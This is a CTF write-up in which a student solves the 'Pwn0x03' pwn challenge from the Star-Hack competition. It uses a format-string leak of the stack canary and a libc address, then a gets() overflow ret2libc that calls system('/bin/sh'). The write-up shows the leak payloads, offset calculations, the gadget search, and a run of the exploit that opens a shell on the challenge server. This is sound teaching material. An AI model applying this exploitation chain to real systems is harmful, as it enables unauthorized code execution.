The Star-Hack was a regional online CTF in which more than 150 computer science students from Nouvelle-Aquitaine competed. The CTF certainly had some issues, but the 3 pwn challenges were quite interesting. I was one of only two students to solve the last pwn challenge. Here is a writeup of how I proceded.
Pwn0x03
secret storage service ? is it even secure ?
nc 35.180.44.229 1237
This executable is provided, let’s check if any security measures are enabled:
$ checksec --file=task
[*] '/home/geoffrey/Documents/Campus/Star-Hack/Pwn0x03/task'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Everything is enabled. The libc used on the server is also provided. Let’s try running the executable with this libc
:
$ LD_PRELOAD=./libc.so.6 task
/usr/libexec/pk-command-not-found: ./libc.so.6: version `GLIBC_ABI_DT_RELR' not found (required by /usr/libexec/pk-command-not-found)
I’ll spare you all the error messages. But essentially, we see there is a compatibility issue with the GLIBC
version. During the CTF, I solved this problem by working from a container with an older version of Ubuntu compatible with this libc :
$ podman run -it ubuntu:focal bash
However after the CTF, I learned about pwninit. A tool that solves all such compatibility issues by downloading the compatible loader and generating a new executable using the providedlibc
:
$ ldd task
linux-vdso.so.1 (0x00007ff2a341f000)
libc.so.6 => /lib64/libc.so.6 (0x00007ff2a320b000)
/lib64/ld-linux-x86-64.so.2 (0x00007ff2a3421000)
$ ldd task_patched
linux-vdso.so.1 (0x00007fafe416a000)
libc.so.6 => ./libc.so.6 (0x00007fafe3f6b000)
./ld-2.31.so => /lib64/ld-linux-x86-64.so.2 (0x00007fafe416c000)
$ ./task_patched
----------------------------
-- Secret storage service --
----------------------------
Identify your self :
> AAAA
Welcome : AAAA
U----------------------------
type your secret : BBBB
The program asks for multiple inputs. Let’s see if any of them are vulnerable.
Static Analysis
undefined8 main(void)
{
long in_FS_OFFSET;
char input2 [64];
char input [88];
long canary;
canary = *(long *)(in_FS_OFFSET + 0x28);
set_buffs();
puts("----------------------------");
puts("-- Secret storage service --");
puts("----------------------------");
puts("Identify your self : ");
printf(" > ");
read(0,input,80);
printf("Welcome : ");
printf(input);
puts("----------------------------");
printf("type your secret : ");
gets(input2);
if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
__stack_chk_fail();
}
return 0;
}
In this code, we can immediately identify two vulnerabilities. This printf
is vulnerable to a format string bug :
printf(input);
This allows us to easily leak the stack. Additionally, gets
is vulnerable to a buffer overflow (because there is no input size limit) :
gets(input2);
First, let’s try to leak the stack.
Dynamic Analysis
We can exploit the format string like this :
$ ./task_patched
----------------------------
-- Secret storage service --
----------------------------
Identify your self :
> %p %p %p %p
Welcome : 0x7ffeacda1570 (nil) (nil) 0xa
----------------------------
type your secret :
0x7ffeacda1570
is the first value on the stack when i’ts leaked, 0x0000000000000000
is the second, and so on.
Or in a cleaner way :
$ ./task_patched
----------------------------
-- Secret storage service --
----------------------------
Identify your self :
> %30$p
Welcome : 0x100000000
----------------------------
type your secret :
0x100000000
being the 30th value on the stack while it’s being leaked.
Now that we can leak the stack, we need to find the right values for our exploit. The simplest approach here seems to be using a ret2lib. For this, we need to find an address in the libc
as well as the canary. By looking for leaks in GDB we can find :
gef➤ r
Starting program: /home/geoffrey/Documents/Campus/Star-Hack/Pwn0x03/task_patched
----------------------------
-- Secret storage service --
----------------------------
Identify your self :
> %27$p %25$p
Welcome : 0x7ffff7df9083 0x4d117625f73cce00
----------------------------
type your secret :
The first value is an address libc
:
gef➤ x/i 0x7ffff7df9083
0x7ffff7df9083 <__libc_start_main+243>: mov edi,eax
Let’s check the canary
:
──────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x55555555531f call 0x5555555550e0 <gets@plt>
0x555555555324 mov eax, 0x0
0x555555555329 mov rcx, QWORD PTR [rbp-0x8]
→ 0x55555555532d xor rcx, QWORD PTR fs:0x28
0x555555555336 je 0x55555555533d
0x555555555338 call 0x5555555550b0 <__stack_chk_fail@plt>
0x55555555533d leave
0x55555555533e ret
0x55555555533f nop
gef➤ p $rcx
$2 = 0x4d117625f73cce00
xor rcx, QWORD PTR fs:0x28
being the instruction checking the canary
at the end of main
. rcx
contains it, and we can see that we got the right leak.
To calculate the adresses necessary to our exploit, we’ll need to know the offset between the base of the given libc
and our leak (0x7ffff7df9083 <__libc_start_main+243>: mov edi,eax
). Let’s look for the base of libc
in GDB :
gef➤ info proc map
process 35606
Mapped address spaces:
Start Addr End Addr Size Offset Perms objfile
0x555555554000 0x555555555000 0x1000 0x0 r--p /home/geoffrey/Documents/Campus/Star-Hack/Pwn0x03/task_patched
0x555555555000 0x555555556000 0x1000 0x1000 r-xp /home/geoffrey/Documents/Campus/Star-Hack/Pwn0x03/task_patched
0x555555556000 0x555555557000 0x1000 0x2000 r--p /home/geoffrey/Documents/Campus/Star-Hack/Pwn0x03/task_patched
0x555555557000 0x555555558000 0x1000 0x2000 r--p /home/geoffrey/Documents/Campus/Star-Hack/Pwn0x03/task_patched
0x555555558000 0x55555555b000 0x3000 0x3000 rw-p /home/geoffrey/Documents/Campus/Star-Hack/Pwn0x03/task_patched
0x7ffff7dd5000 0x7ffff7df7000 0x22000 0x0 r--p /home/geoffrey/Documents/Campus/Star-Hack/Pwn0x03/libc.so.6
0x7ffff7df7000 0x7ffff7f6f000 0x178000 0x22000 r-xp /home/geoffrey/Documents/Campus/Star-Hack/Pwn0x03/libc.so.6
0x7ffff7f6f000 0x7ffff7fbd000 0x4e000 0x19a000 r--p /home/geoffrey/Documents/Campus/Star-Hack/Pwn0x03/libc.so.6
0x7ffff7fbd000 0x7ffff7fc1000 0x4000 0x1e7000 r--p /home/geoffrey/Documents/Campus/Star-Hack/Pwn0x03/libc.so.6
0x7ffff7fc1000 0x7ffff7fc3000 0x2000 0x1eb000 rw-p /home/geoffrey/Documents/Campus/Star-Hack/Pwn0x03/libc.so.6
0x7ffff7fc3000 0x7ffff7fc9000 0x6000 0x0 rw-p
0x7ffff7fc9000 0x7ffff7fcd000 0x4000 0x0 r--p [vvar]
0x7ffff7fcd000 0x7ffff7fcf000 0x2000 0x0 r-xp [vdso]
0x7ffff7fcf000 0x7ffff7fd0000 0x1000 0x0 r--p /home/geoffrey/Documents/Campus/Star-Hack/Pwn0x03/ld-2.31.so
0x7ffff7fd0000 0x7ffff7ff3000 0x23000 0x1000 r-xp /home/geoffrey/Documents/Campus/Star-Hack/Pwn0x03/ld-2.31.so
0x7ffff7ff3000 0x7ffff7ffb000 0x8000 0x24000 r--p /home/geoffrey/Documents/Campus/Star-Hack/Pwn0x03/ld-2.31.so
0x7ffff7ffc000 0x7ffff7ffd000 0x1000 0x2c000 r--p /home/geoffrey/Documents/Campus/Star-Hack/Pwn0x03/ld-2.31.so
0x7ffff7ffd000 0x7ffff7ffe000 0x1000 0x2d000 rw-p /home/geoffrey/Documents/Campus/Star-Hack/Pwn0x03/ld-2.31.so
0x7ffff7ffe000 0x7ffff7fff000 0x1000 0x0 rw-p
0x7ffffffde000 0x7ffffffff000 0x21000 0x0 rw-p [stack]
0xffffffffff600000 0xffffffffff601000 0x1000 0x0 --xp [vsyscall]
And calculate the offset :
>>> 0x7ffff7df9083-0x7ffff7dd5000
147587
We can now write our exploit.
Exploit
We can find functions inside the given libc
like this :
>>> from pwn import *
>>> libc = ELF("./libc.so.6")
[*] '/home/geoffrey/Documents/Campus/Star-Hack/Pwn0x03/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
>>> libc.sym["system"]
336528
>>> hex(libc.sym["system"])
'0x52290'
0x52290
is the offset between the base of libc
, and the system
function. We can now calculate the adress of the function system
using our leak just like that : (leak - 147587) + libc.sym["system"]
(147587
being the offset between our leak and the base of the libc
we calculated above).
Finally, we will open a shell using the system
function. To do so, we need a string containing /bin/sh
:
>>> from pwn import *
>>> libc = ELF("./libc.so.6")
[*] '/home/geoffrey/Downloads/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
>>> hex(next(libc.search(b'/bin/sh')))
'0x1b45bd'
And a gadget pop rdi ; ret
:
$ ROPgadget --binary libc.so.6 | grep "pop rdi ; ret"
0x0000000000023b6a : pop rdi ; ret
Putting everything together in this script, we get :
$ python3 exploit.py
[*] '/home/geoffrey/Documents/Campus/Star-Hack/Pwn0x03/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
[+] Opening connection to 35.180.44.229 on port 1237: Done
[*] Switching to interactive mode
$ whoami
ctf
$ ls
flag.txt
task
ynetd
$ cat flag.txt
StarHack{fms_bUG5_ar3_mY_favorites_wh4t_ab0ut_y0u?ASDSAKDASDKASFFDSASDFSA}
You can find writeups of the other pwn challenges here.